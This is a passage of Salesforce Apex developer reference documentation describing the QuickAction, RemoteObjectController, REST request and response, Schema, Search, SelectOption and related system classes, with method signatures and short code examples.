The names of the quick actions. The quick action name can contain the entity name if it is at the entity level
('Account.QuickCreateContact'), or 'Global' if used for the action at the global level ('Global.CreateNewContact').

Return Value
Type: List<QuickAction.DescribeQuickActionResult>
The metadata information for the provided quick actions.

Example
// First 3 parameter values are for actions at the entity level.
// Last parameter is for an action at the global level.
List<QuickAction.DescribeQuickActionResult> result =
QuickAction.DescribeQuickActions(new List<String> {
'Account.QuickCreateContact', 'Opportunity.Update1',
'Contact.Create1', 'Global.CreateNewContact' });

performQuickAction(quickActionRequest)
Performs the quick action specified in the quick action request and returns the action result.

Signature
public static QuickAction.QuickActionResult
performQuickAction(QuickAction.QuickActionRequest quickActionRequest)

Parameters
quickActionRequest

Type: QuickAction.QuickActionRequest

Return Value
Type: QuickAction.QuickActionResult

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Reference

QuickAction Class

performQuickAction(quickActionRequest, allOrNothing)
Performs the quick action specified in the quick action request with the option for partial success, and returns the result.

Signature
public static QuickAction.QuickActionResult
performQuickAction(QuickAction.QuickActionRequest quickActionRequest, Boolean
allOrNothing)

Parameters
quickActionRequest

Type: QuickAction.QuickActionRequest
allOrNothing

Type: Boolean
Specifies whether this operation allows partial success. If you specify false for this argument and a record fails, the remainder of
the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which
failed, and why.

Return Value
Type: QuickAction.QuickActionResult

performQuickActions(quickActionRequests)
Performs the quick actions specified in the quick action request list and returns action results.

Signature
public static List<QuickAction.QuickActionResult>
performQuickActions(List<QuickAction.QuickActionRequest> quickActionRequests)

Parameters
quickActionRequests

Type: List<QuickAction.QuickActionRequest>

Return Value
Type: List<QuickAction.QuickActionResult>

performQuickActions(quickActionRequests, allOrNothing)
Performs the quick actions specified in the quick action request list with the option for partial success, and returns action results.

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Reference

RemoteObjectController

Signature
public static List<QuickAction.QuickActionResult>
performQuickActions(List<QuickAction.QuickActionRequest> quickActionRequests, Boolean
allOrNothing)

Parameters
quickActionRequests

Type: List<QuickAction.QuickActionRequest>
allOrNothing

Return Value
Type: List<QuickAction.QuickActionResult>

RemoteObjectController
Use RemoteObjectController to access the standard Visualforce Remote Objects operations in your Remote Objects override
methods.

Namespace
System

Usage
RemoteObjectController is supported only for use within Remote Objects methods. See Overriding Default Remote Objects
Operations in the Visualforce Developers Guide for examples of how to use RemoteObjectController with your Visualforce

pages.

RemoteObjectController Methods
The following are methods for RemoteObjectController. All methods are static.
IN THIS SECTION:
create(type, fields)
Create a record in the database.
del(type, recordIds)
Delete records from the database.
retrieve(type, fields, criteria)
Retrieve records from the database.

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RemoteObjectController

updat(type, recordIds, fields)

Update records in the database.

create(type, fields)
Create a record in the database.

Signature
public static Map<String,Object> create(String type, Map<String,Object> fields)

Parameters
type

Type: String
The sObject type on which create is being called.
fields

Type: Map<String,Object>
The fields and values to set on the new record.

Return Value
Type: Map<String,Object>
The return value is a map that represents the result of the Remote Objects operation. What is returned depends on the results of the
call.
Success
A map that contains a single element with the ID of the record created. For example, { id: 'recordId' }.
Failure
A map that contains a single element with the error message for the overall operation. For example, { error:
'errorMessage' }.

del(type, recordIds)
Delete records from the database.

Signature
public static Map<String,Object> del(String type, List<String> recordIds)

Parameters
type

Type: String
The sObject type on which delete is being called.
recordIds

Type: List<String>
The IDs of the records to be deleted.

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Reference

RemoteObjectController

Return Value
Type: Map<String,Object>
The return value is a map that represents the result of the Remote Objects operation. What is returned depends on how the method
was called and the results of the call.
Single DeleteSuccess
A map that contains a single element with the ID of the record that was deleted. For example, { id: 'recordId'

Batch DeleteSuccess
A map that contains a single element, an array of Map<String,Object> elements. Each element contains the ID of a record that was
deleted and an array of errors, if there were any, for that records individual delete. For example, { results: [ { id:
'recordId', errors: ['errorMessage', ...]}, ...] }.
Single and Batch DeleteFailure
A map that contains a single element with the error message for the overall operation. For example, { error:
'errorMessage' }.

retrieve(type, fields, criteria)

Retrieve records from the database.

Signature
public static Map<String,Object> retrieve(String type, List<String> fields,
Map<String,Object> criteria)

Parameters
type

Type: String
The sObject type on which retrieve is being called.
fields

Type: List<String>
The fields to retrieve for each record.
criteria

Type: Map<String,Object>
The criteria to use when performing the query.

Return Value
Type: Map<String,Object>
The return value is a map that represents the result of the Remote Objects operation. What is returned depends on the results of the
call.
Success
A map that contains the following elements.
records: An array of records that match the query conditions.
type: A string that indicates the type of the sObject that was retrieved.
size: The number of records in the response.

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Reference

ResetPasswordResult Class

Failure
A map that contains a single element with the error message for the overall operation. For example, { error:
'errorMessage' }.

updat(type, recordIds, fields)

Update records in the database.

Signature
public static Map<String,Object> updat(String type, List<String> recordIds,
Map<String,Object> fields)

Parameters
type

Type: String
The sObject type on which update is being called.
recordIds

Type: List<String>
The IDs of the records to be updated.
fields

Type: Map<String,Object>
The fields to update, and the value to update each field with.

Return Value
Type: Map<String,Object>
The return value is a map that represents the result of the Remote Objects operation. What is returned depends on how the method
was called and the results of the call.
Single UpdateSuccess
A map that contains a single element with the ID of the record that was updated. For example, { id: 'recordId'

Batch UpdateSuccess
A map that contains a single element, an array of Map<String,Object> elements. Each element contains the ID of the record updated
and an array of errors, if there were any, for that records individual update. For example, { results: [ { id: 'recordId',
errors: ['errorMessage', ...]}, ...] }.
Single and Batch UpdateFailure
A map that contains a single element with the error message for the overall operation. For example, { error:
'errorMessage' }.

ResetPasswordResult Class
Represents the result of a password reset.

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Reference

RestContext Class

Namespace
System

ResetPasswordResult Methods
The following are instance methods for ResetPasswordResult.
IN THIS SECTION:
getPassword()
Returns the password generated by the System.resetPassword method call.

getPassword()
Returns the password generated by the System.resetPassword method call.

Signature
public String getPassword()

Return Value
Type: String

RestContext Class
Contains the RestRequest and RestResponse objects.

Namespace
System

Usage
Use the System.RestContext class to access the RestRequest and RestResponse objects in your Apex REST methods.

Sample
The following example shows how to use RestContext to access the RestRequest and RestResponse objects in an Apex
REST method.
@RestResource(urlMapping='/MyRestContextExample/*')
global with sharing class MyRestContextExample {
@HttpGet
global static Account doGet() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);

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Reference

RestRequest Class

Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id =
:accountId];
return result;
}
}

RestContext Properties
The following are properties for RestContext.
IN THIS SECTION:
request
Returns the RestRequest for your Apex REST method.
response
Returns the RestResponse for your Apex REST method.

request
Returns the RestRequest for your Apex REST method.

Signature
public RestRequest request {get; set;}

Property Value
Type: System.RestRequest

response
Returns the RestResponse for your Apex REST method.

Signature
public RestResponse response {get; set;}

Property Value
Type: System.RestResponse

RestRequest Class
Represents an object used to pass data from an HTTP request to an Apex RESTful Web service method.

Namespace
System

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Reference

RestRequest Class

Usage
Use the System.RestRequest class to pass request data into an Apex RESTful Web service method that is defined using one of
the REST annotations.

Example: An Apex Class with REST Annotated Methods

The following example shows you how to implement the Apex REST API in Apex. This class exposes three methods that each handle a
different HTTP request: GET, DELETE, and POST. You can call these annotated methods from a client by issuing HTTP requests.
@RestResource(urlMapping='/Account/*')
global with sharing class MyRestResource {
@HttpDelete
global static void doDelete() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account account = [SELECT Id FROM Account WHERE Id = :accountId];
delete account;
}
@HttpGet
global static Account doGet() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id =
:accountId];
return result;
}
@HttpPost
global static String doPost(String name,
String phone, String website) {
Account account = new Account();
account.Name = name;
account.phone = phone;
account.website = website;
insert account;
return account.Id;
}
}

IN THIS SECTION:
RestRequest Constructors
RestRequest Properties
RestRequest Methods

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Reference

RestRequest Class

RestRequest Constructors
The following are constructors for RestRequest.
IN THIS SECTION:
RestRequest()
Creates a new instance of the System.RestRequest class.

RestRequest()
Creates a new instance of the System.RestRequest class.

Signature
public RestRequest()

RestRequest Properties
The following are properties for RestRequest.
Note: While the RestRequest List and Map properties are read-only, their contents are read-write. You can modify them by
calling the collection methods directly or you can use of the associated RestRequest methods shown in the previous table.
IN THIS SECTION:
headers
Returns the headers that are received by the request.
httpMethod
Returns one of the supported HTTP request methods.
params
Returns the parameters that are received by the request.
remoteAddress
Returns the IP address of the client making the request.
requestBody
Returns or sets the body of the request.
requestURI
Returns or sets everything after the host in the HTTP request string.
resourcePath
Returns the REST resource path for the request.

headers
Returns the headers that are received by the request.

Signature
public Map<String, String> headers {get; set;}

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Reference

RestRequest Class

Property Value
Type: Map<String, String>

httpMethod
Returns one of the supported HTTP request methods.

Signature
public String httpMethod {get; set;}

Property Value
Type: String
Possible values returned:
DELETE
GET
HEAD
PATCH
POST
PUT

params
Returns the parameters that are received by the request.

Signature
public Map <String, String> params {get; set;}

Property Value
Type: Map<String, String>

remoteAddress
Returns the IP address of the client making the request.

Signature
public String remoteAddress {get; set;}

Property Value
Type: String

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Reference

RestRequest Class

requestBody
Returns or sets the body of the request.

Signature
public Blob requestBody {get; set;}

Property Value
Type: Blob

Usage
If the Apex method has no parameters, then Apex REST copies the HTTP request body into the RestRequest.requestBody
property. If there are parameters, then Apex REST attempts to deserialize the data into those parameters and the data won't be deserialized
into the RestRequest.requestBody property.

requestURI
Returns or sets everything after the host in the HTTP request string.

Signature
public String requestURI {get; set;}

Property Value
Type: String

Example
For example, if the request string is https://instance.salesforce.com/services/apexrest/Account/ then
the requestURI is /services/apexrest/Account/.

resourcePath
Returns the REST resource path for the request.

Signature
public String resourcePath {get; set;}

Property Value
Type: String

Example
For example, if the Apex REST class defines a urlMapping of /MyResource/*, the resourcePath property returns
/services/apexrest/MyResource/*.

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Reference

RestRequest Class

RestRequest Methods
The following are methods for RestRequest. All are instance methods.
Note: At runtime, you typically don't need to add a header or parameter to the RestRequest object because they are
automatically deserialized into the corresponding properties. The following methods are intended for unit testing Apex REST
classes. You can use them to add header or parameter values to the RestRequest object without having to recreate the REST
method call.
IN THIS SECTION:
addHeader(name, value)
Adds a header to the request header map.
addParameter(name, value)
Adds a parameter to the request params map.

addHeader(name, value)
Adds a header to the request header map.

Signature
public Void addHeader(String name, String value)

Parameters
name

Type: String
value

Type: String

Return Value
Type: Void

Usage
This method is intended for unit testing of Apex REST classes.
Please note that the following headers aren't allowed:
cookie
set-cookie
set-cookie2
content-length
authorization
If any of these are used, an Apex exception will be thrown.

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Reference

RestResponse Class

addParameter(name, value)
Adds a parameter to the request params map.

Signature
public Void addParameter(String name, String value)

Parameters
name

Type: String
value

Type: String

Return Value
Type: Void

Usage
This method is intended for unit testing of Apex REST classes.

RestResponse Class
Represents an object used to pass data from an Apex RESTful Web service method to an HTTP response.

Namespace
System

Usage
Use the System.RestReponse class to pass response data from an Apex RESTful web service method that is defined using one
of the REST annotations on page 94.
IN THIS SECTION:
RestResponse Constructors
RestResponse Properties
RestResponse Methods

RestResponse Constructors
The following are constructors for RestResponse.

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Reference

RestResponse Class

IN THIS SECTION:
RestResponse()
Creates a new instance of the System.RestResponse class.

RestResponse()
Creates a new instance of the System.RestResponse class.

Signature
public RestResponse()

RestResponse Properties
The following are properties for RestResponse.
Note: While the RestResponse List and Map properties are read-only, their contents are read-write. You can modify them
by calling the collection methods directly or you can use of the associated RestResponse methods shown in the previous
table.
IN THIS SECTION:
responseBody
Returns or sets the body of the response.
headers
Returns the headers to be sent to the response.
statusCode
Returns or sets the response status code.

responseBody
Returns or sets the body of the response.

Signature
public Blob responseBody {get; set;}

Property Value
Type: Blob

Usage
The response is either the serialized form of the method return value or it's the value of the responseBody property based on the following
rules:
If the method returns void, then Apex REST returns the response in the responseBody property.
If the method returns a value, then Apex REST serializes the return value as the response.

2294

Reference

RestResponse Class

headers
Returns the headers to be sent to the response.

Signature
public Map<String, String> headers {get; set;}

Property Value
Type: Map<String, String>

statusCode
Returns or sets the response status code.

Signature
public Integer statuscode {get; set;}

Property Value
Type: Integer

Status Codes
The following are valid response status codes. The status code is returned by the RestResponse.statusCode property.
Note: If you set the RestResponse.statusCode property to a value that's not listed in the table, then an HTTP status of
500 is returned with the error message Invalid status code for HTTP response: nnn where nnn is the invalid status code value.
Status Code

Description

200

201

CREATED

202

ACCEPTED

204

NO_CONTENT

206

PARTIAL_CONTENT

300

MULTIPLE_CHOICES

301

MOVED_PERMANENTLY

302

FOUND

304

NOT_MODIFIED

400

BAD_REQUEST

401

UNAUTHORIZED

403

FORBIDDEN

2295

Reference

RestResponse Class

Status Code

Description

404

NOT_FOUND

405

METHOD_NOT_ALLOWED

406

NOT_ACCEPTABLE

409

CONFLICT

410

GONE

412

PRECONDITION_FAILED

413

REQUEST_ENTITY_TOO_LARGE

414

REQUEST_URI_TOO_LARGE

415

UNSUPPORTED_MEDIA_TYPE

417

EXPECTATION_FAILED

500

INTERNAL_SERVER_ERROR

503

SERVER_UNAVAILABLE

RestResponse Methods
The following are instance methods for RestResponse.
Note: At runtime, you typically don't need to add a header to the RestResponse object because it's automatically deserialized
into the corresponding properties. The following methods are intended for unit testing Apex REST classes. You can use them to
add header or parameter values to the RestRequest object without having to recreate the REST method call.
IN THIS SECTION:
addHeader(name, value)
Adds a header to the response header map.

addHeader(name, value)
Adds a header to the response header map.

Signature
public Void addHeader(String name, String value)

Parameters
name

Type: String
value

Type: String

2296

Reference

SandboxPostCopy Interface

Return Value
Type: Void

Usage
Please note that the following headers aren't allowed:
cookie
set-cookie
set-cookie2
content-length
authorization
If any of these are used, an Apex exception will be thrown.

SandboxPostCopy Interface
To make your sandbox environment business ready, automate data manipulation or business logic tasks. Extend this interface and add
methods to perform post-copy tasks, then specify the class during sandbox creation.

Namespace
System

Usage
Create an Apex class that implements this interface. For example, the following Apex class reports the three contexts available in
SandboxPostCopy: your organization ID, sandbox ID, and sandbox name:
global class HelloWorld implements SandboxPostCopy {
global void runApexClass(SandboxContext context) {
System.debug('Hello Tester Pester ' + context.organizationId() + ' ' +
context.sandboxId() + context.sandboxName());
}
}

IN THIS SECTION:
SandboxPostCopy Methods
SandboxPostCopy Example Implementation

SandboxPostCopy Methods
The following method is for SandboxPostCopy.
IN THIS SECTION:
runApexClass(context)

2297

Reference

Schedulable Interface

runApexClass(context)

Signature
public void runApexClass(System.SandboxContext context)

Parameters
context

Type: System.SandboxContext
The context for your sandbox.

Return Value
Type: void

SandboxPostCopy Example Implementation

This is an example implementation of the System.SandboxPostCopy interface.
global class HelloWorld implements SandboxPostCopy {
global void runApexClass(SandboxContext context) {
System.debug('Hello Tester Pester ' + context.organizationId() + '
' + context.sandboxId() + context.sandboxName());
}
}

The following example tests the implementation:

@isTest
class testHelloWorld{
@isTest
static void testSandboxPostCopyScript() {
HelloWorld apexclass = new HelloWorld();
Test.testSandboxPostCopyScript(apexClassName, 'orgID', 'sandboxID', 'sandboxName');
System.assertEquals(1,1,'Test something');

Schedulable Interface
The class that implements this interface can be scheduled to run at different intervals.

Namespace
System
SEE ALSO:
Apex Scheduler

2298

Reference

SchedulableContext Interface

Schedulable Methods
The following are methods for Schedulable.
IN THIS SECTION:
execute(context)
Executes the scheduled Apex job.

execute(context)
Executes the scheduled Apex job.

Signature
public Void execute(SchedulableContext context)

Parameters
context

Type: System.SchedulableContext
Contains the job ID.

Return Value
Type: Void

SchedulableContext Interface
Represents the parameter type of a method in a class that implements the Schedulable interface and contains the scheduled job
ID. This interface is implemented internally by Apex.

Namespace
System
SEE ALSO:
Schedulable Interface

SchedulableContext Methods
The following are methods for SchedulableContext.
IN THIS SECTION:
getTriggerId()
Returns the ID of the CronTrigger scheduled job.

2299

Reference

Schema Class

getTriggerId()
Returns the ID of the CronTrigger scheduled job.

Signature
public Id getTriggerId()

Return Value
Type: ID

Schema Class
Contains methods for obtaining schema describe information.

Namespace
System

Schema Methods
The following are methods for Schema. All methods are static.
IN THIS SECTION:
getGlobalDescribe()
Returns a map of all sObject names (keys) to sObject tokens (values) for the standard and custom objects defined in your organization.
describeDataCategoryGroups(sObjectNames)
Returns a list of the category groups associated with the specified objects.
describeSObjects(sObjectTypes)
Describes metadata (field list and object properties) for the specified sObject or array of sObjects.
describeTabs()
Returns information about the standard and custom apps available to the running user.
GroupStructures(pairs)
Returns available category groups along with their data category structure for objects specified in the request.

getGlobalDescribe()
Returns a map of all sObject names (keys) to sObject tokens (values) for the standard and custom objects defined in your organization.

Signature
public static Map<String, Schema.SObjectType> getGlobalDescribe()

Return Value
Type: Map<String, Schema.SObjectType>

2300

Reference

Schema Class

Usage
For more information, see Accessing All sObjects.

Example
Map<String, Schema.SObjectType> gd =
Schema.getGlobalDescribe();

describeDataCategoryGroups(sObjectNames)
Returns a list of the category groups associated with the specified objects.

Signature
public static List<Schema.DescribeDataCategoryGroupResult>
describeDataCategoryGroups(String sObjectNames)

Parameters
sObjectNames

Type: List<String>

Return Value
Type: List<Schema.DescribeDataCategoryGroupResult>

Usage
You can specify one of the following sObject names:
KnowledgeArticleVersionto retrieve category groups associated with article types.
Questionto retrieve category groups associated with questions.
For more information and code examples using describeDataCategoryGroups, see Accessing All Data Categories Associated with an
sObject.
For additional information about articles and questions, see Work with Articles and Translations and Answers Overview in the Salesforce
online help.

describeSObjects(sObjectTypes)
Describes metadata (field list and object properties) for the specified sObject or array of sObjects.

Signature
public static List<Schema.DescribeSObjectResult> describeSObjects(List<String>
sObjectTypes)

Parameters
sObjectTypes

Type: List<String>

2301

Reference

Schema Class

The sObjectTypes argument is a list of sObject type names you want to describe.

Return Value
Type: List<Schema.DescribeSObjectResult>

Usage
This method is similar to the getDescribe method on the Schema.sObjectType token. Unlike the getDescribe method,
this method allows you to specify the sObject type dynamically and describe more than one sObject at a time.
You can first call getGlobalDescribe to retrieve a list of all objects for your organization, then iterate through the list and use
describeSObjects to obtain metadata about individual objects.

Example
Schema.DescribeSObjectResult[] descResult = Schema.describeSObjects(
new
String[]{'Account','Contact'});

describeTabs()
Returns information about the standard and custom apps available to the running user.

Signature
public static List<Schema.DescribeTabSetResult> describeTabs()

Return Value
Type: List<Schema.DescribeTabSetResult>

Usage
An app is a group of tabs that works as a unit to provide application functionality. For example, two of the standard Salesforce apps are
Sales and Call Center.
The describeTabs method returns the minimum required metadata that can be used to render apps in another user interface.
Typically, this call is used by partner applications to render Salesforce data in another user interface, such as in a mobile or connected
app.
In the Salesforce user interface, users have access to standard apps (and might also have access to custom apps) as listed in the Salesforce
app menu at the top of the page. Selecting an app name in the menu allows the user to switch between the listed apps at any time.
Note: The All Tabs tab isnt included in the list of described tabs.

Example
This example shows how to call the describeTabs method.
Schema.DescribeTabSetResult[] tabSetDesc = Schema.describeTabs();

2302

Reference

Schema Class

This is a longer example that shows how to obtain describe metadata information for the Sales app. For each tab, the example gets
describe information, such as the icon URL, whether the tab is custom or not, and colors. The describe information is written to the
debug output.
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();
// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
String appLabel = tsr.getLabel();
System.debug('Label: ' + appLabel);
System.debug('Logo URL: ' + tsr.getLogoUrl());
System.debug('isSelected: ' + tsr.isSelected());
String ns = tsr.getNamespace();
if (ns == '') {
System.debug('The ' + appLabel + ' app has no namespace defined.');
}
else {
System.debug('Namespace: ' + ns);
}
// Display tab info for the Sales app
if (appLabel == 'Sales') {
List<Schema.DescribeTabResult> tabDesc = tsr.getTabs();
System.debug('-- Tab information for the Sales app --');
for(Schema.DescribeTabResult tr : tabDesc) {
System.debug('getLabel: ' + tr.getLabel());
System.debug('getColors: ' + tr.getColors());
System.debug('getIconUrl: ' + tr.getIconUrl());
System.debug('getIcons: ' + tr.getIcons());
System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
System.debug('getSobjectName: ' + tr.getSobjectName());
System.debug('getUrl: ' + tr.getUrl());
System.debug('isCustom: ' + tr.isCustom());
}
}
}
// Example debug statement output
// DEBUG|Label: Sales
// DEBUG|Logo URL: https://yourInstance.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales
app -// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors:
(Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;],
//
Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;],
//
Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;])
// DEBUG|getIconUrl: https://yourInstance.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons:
(Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;

2303

Reference

Search Class

getUrl=https://yourInstance.salesforce.com/img/icon/accounts32.png;getWidth=32;],

//
//
//
//
//
//

GroupStructures(pairs)
Returns available category groups along with their data category structure for objects specified in the request.

Signature
public static List<Schema.DescribeDataCategoryGroupStructureResult> describeDataCategory
GroupStructures(List<Schema.DataCategoryGroupSobjectTypePair> pairs)

Parameters
pairs

Type: List<Schema.DataCategoryGroupSobjectTypePair>
The pairs argument is one or more category groups and objects to query Schema.DataCategoryGroupSobjectTypePairs. Visible
data categories are retrieved for the specified object. For more information on data category group visibility, see Data Category
Visibility in the Salesforce online help.

Return Value
Type: List<Schema.DescribeDataCategoryGroupStructureResult>

Search Class
Use the methods of the Search class to perform dynamic SOSL queries.

Namespace
System

Search Methods
The following are static methods for Search.
IN THIS SECTION:
find(searchQuery)
Performs a dynamic SOSL query that can include the SOSL WITH SNIPPET clause. Snippets provide more context for users in
Salesforce Knowledge article search results.
query(query)
Performs a dynamic SOSL query.

2304

Reference

Search Class

suggest(searchQuery, sObjectType, suggestions)

Returns a list of records or Salesforce Knowledge articles whose names or titles match the users search query string. Use this method
to provide users with shortcuts to navigate to relevant records or articles before they perform a search.

find(searchQuery)
Performs a dynamic SOSL query that can include the SOSL WITH SNIPPET clause. Snippets provide more context for users in
Salesforce Knowledge article search results.

Signature
public static Search.SearchResults find(String searchQuery)

Parameters
searchQuery

Type: String
A SOSL query string.

Return Value
Type: Search.SearchResults

Usage
Use this method wherever a static SOSL query can be used, such as in regular assignment statements and for loops.
See Use Dynamic SOSL to Return Snippets on page 179.
SEE ALSO:
get(sObjectType)
Dynamic SOSL

query(query)
Performs a dynamic SOSL query.

Signature
public static sObject[sObject[]] query(String query)

Parameters
query

Type: String
A SOSL query string.
To create a SOSL query that includes the WITH SNIPPET clause, use the Search.find(String searchQuery) method instead.

2305

Reference

Search Class

Return Value
Type: sObject[sObject[]]

Usage
This method can be used wherever a static SOSL query can be used, such as in regular assignment statements and for loops.
For more information, see Dynamic SOSL.

suggest(searchQuery, sObjectType, suggestions)

Signature
public static Search.SuggestionResults suggest(String searchQuery, String sObjectType,
Search.SuggestionOption suggestions)

Parameters
searchQuery

Type: String
A SOSL query string.
sObjectType

Type: String
An sObject type.
options

Type: Search.SuggestionOption
This object contains options that change the suggestion results.
If the searchQuery returns KnowledgeArticleVersion objects, pass an options parameter with a Search.SuggestionOption
object that contains a language KnowledgeSuggestionFilter and a publish status KnowledgeSuggestionFilter.
For suggestions for all other record types, the only supported option is a limit, which sets the maximum number of suggestions
returned.

Return Value
Type: SuggestionResults

Usage
Use this method to return:
Suggestions for Salesforce Knowledge articles (KnowledgeArticleVersion)
Salesforce Knowledge must be enabled in your organization. The user must have the View Articles permission enabled.
The articles suggested include only the articles the user can access, based on the data categories and article types the user has
permissions to view.

2306

Reference

SelectOption Class

Suggestions for other record types

The records suggested include only the records the user can access.
This method returns a record if its name field starts with the text in the search string. This method automatically appends an asterisk
wildcard (*) at the end of the search string. Records that contain the search string within a word arent considered a match.
Records are suggested if the entire search string is found in the record name, in the same order as specified in the search string. For
example, the text string national u is treated as national u* and returns National Utility and National Urban Company
but not National Company Utility or Urban National Company.
Note: If the users search query contains quotation marks or wildcards, those symbols are automatically removed from the query
string in the URI.
SEE ALSO:
Suggest Salesforce Knowledge Articles

SelectOption Class
A SelectOption object specifies one of the possible values for a Visualforce selectCheckboxes, selectList, or
selectRadio component.

Namespace
System
SelectOption consists of a label that is displayed to the end user, and a value that is returned to the controller if the option is
selected. A SelectOption can also be displayed in a disabled state, so that a user cannot select it as an option, but can still view it.

Instantiation
In a custom controller or controller extension, you can instantiate a SelectOption in one of the following ways:

2307

Reference

SelectOption Class

SelectOption option = new SelectOption(value, label, isDisabled);

where value is the String that is returned to the controller if the option is selected by a user, label is the String that is displayed
to the user as the option choice, and isDisabled is a Boolean that, if true, specifies that the user cannot select the option, but
can still view it.

SelectOption option = new SelectOption(value, label);

where value is the String that is returned to the controller if the option is selected by a user, and label is the String that is
displayed to the user as the option choice. Because a value for isDisabled is not specified, the user can both view and select
the option.

Example
The following example shows how a list of SelectOptions objects can be used to provide possible values for a selectCheckboxes
component on a Visualforce page. In the following custom controller, the getItems method defines and returns the list of possible
SelectOption objects:
public class sampleCon {
String[] countries = new String[]{};
public PageReference test() {
return null;
}
public List<SelectOption> getItems() {
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('US','US'));
options.add(new SelectOption('CANADA','Canada'));
options.add(new SelectOption('MEXICO','Mexico'));
return options;
}
public String[] getCountries() {
return countries;
}
public void setCountries(String[] countries) {
this.countries = countries;
}
}

In the following page markup, the <apex:selectOptions> tag uses the getItems method from the controller above to
retrieve the list of possible values. Because <apex:selectOptions> is a child of the <apex:selectCheckboxes> tag,
the options are displayed as checkboxes:
<apex:page controller="sampleCon">
<apex:form>
<apex:selectCheckboxes value="{!countries}">
<apex:selectOptions value="{!items}"/>
</apex:selectCheckboxes><br/>
<apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/>

2308

Reference

SelectOption Class

</apex:form>
<apex:outputPanel id="out">
<apex:actionstatus id="status" startText="testing...">
<apex:facet name="stop">
<apex:outputPanel>
<p>You have selected:</p>
<apex:dataList value="{!countries}" var="c">{!c}</apex:dataList>
</apex:outputPanel>
</apex:facet>
</apex:actionstatus>
</apex:outputPanel>
</apex:page>

IN THIS SECTION:
SelectOption Constructors
SelectOption Methods

SelectOption Constructors
The following are constructors for SelectOption.
IN THIS SECTION:
SelectOption(value, label)
Creates a new instance of the SelectOption class using the specified value and label.
SelectOption(value, label, isDisabled)
Creates a new instance of the SelectOption class using the specified value, label, and disabled setting.

SelectOption(value, label)
Creates a new instance of the SelectOption class using the specified value and label.

Signature
public SelectOption(String value, String label)

Parameters
value

Type: String
The string that is returned to the Visualforce controller if the option is selected by a user.
label

Type: String
The string that is displayed to the user as the option choice.

SelectOption(value, label, isDisabled)

Creates a new instance of the SelectOption class using the specified value, label, and disabled setting.

2309

Reference

SelectOption Class

Signature
public SelectOption(String value, String label, Boolean isDisabled)

Parameters
value

Type: String
The string that is returned to the Visualforce controller if the option is selected by a user.
label

Type: String
The string that is displayed to the user as the option choice.
isDisabled

Type: Boolean
If set to true, the option cant be selected by the user but can still be viewed.

SelectOption Methods
The following are methods for SelectOption. All are instance methods.
IN THIS SECTION:
getDisabled()
Returns the current value of the SelectOption object's isDisabled attribute.
getEscapeItem()
Returns the current value of the SelectOption object's itemEscaped attribute.
getLabel()
Returns the option label that is displayed to the user.
getValue()
Returns the option value that is returned to the controller if a user selects the option.
setDisabled(isDisabled)
Sets the value of the SelectOption object's isDisabled attribute.
setEscapeItem(itemsEscaped)
Sets the value of the SelectOption object's itemEscaped attribute.
setLabel(label)
Sets the value of the option label that is displayed to the user.
setValue(value)
Sets the value of the option value that is returned to the controller if a user selects the option.

getDisabled()
Returns the current value of the SelectOption object's isDisabled attribute.

2310

Reference

SelectOption Class

Signature
public Boolean getDisabled()

Return Value
Type: Boolean

Usage
If isDisabled is set to true, the user can view the option, but cannot select it. If isDisabled is set to false, the user can
both view and select the option.

getEscapeItem()
Returns the current value of the SelectOption object's itemEscaped attribute.

Signature
public Boolean getEscapeItem()

Return Value
Type: Boolean

Usage
If itemEscaped is set to true, sensitive HTML and XML characters are escaped in the HTML output generated by this component.
If itemEscaped is set to false, items are rendered as written.

getLabel()
Returns the option label that is displayed to the user.

Signature
public String getLabel()

Return Value
Type: String

getValue()
Returns the option value that is returned to the controller if a user selects the option.

Signature
public String getValue()

2311

Reference

SelectOption Class

Return Value
Type: String

setDisabled(isDisabled)
Sets the value of the SelectOption object's isDisabled attribute.

Signature
public Void setDisabled(Boolean isDisabled)

Parameters
isDisabled

Type: Boolean

Return Value
Type: Void

Usage
If isDisabled is set to true, the user can view the option, but cannot select it. If isDisabled is set to false, the user can
both view and select the option.

setEscapeItem(itemsEscaped)
Sets the value of the SelectOption object's itemEscaped attribute.

Signature
public Void setEscapeItem(Boolean itemsEscaped)

Parameters
itemsEscaped

Type: Boolean

Return Value
Type: Void

Usage
If itemEscaped is set to true, sensitive HTML and XML characters are escaped in the HTML output generated by this component.
If itemEscaped is set to false, items are rendered as written.

setLabel(label)
Sets the value of the option label that is displayed to the user.

2312

Reference

Set Class

Signature
public Void setLabel(String label)

Parameters
label

Type: String

Return Value
Type: Void

setValue(value)
Sets the value of the option value that is returned to the controller if a user selects the option.

Signature
public Void setValue(String value)

Parameters
value

Type: String

Return Value
Type: Void

Set Class
Represents a collection of unique elements with no duplicate values.

Namespace
System

Usage
The Set methods work on a set, that is, an unordered collection of elements that was initialized using the set keyword. Set elements
can be of any data typeprimitive types, collections, sObjects, user-defined types, and built-in Apex types. Set methods are all instance
methods, that is, they all operate on a particular instance of a Set. The following are the instance methods for sets.
Note:
Uniqueness of set elements of user-defined types is determined by the equals and hashCode methods, which you
provide in your classes. Uniqueness of all other non-primitive types is determined by comparing the objects fields.
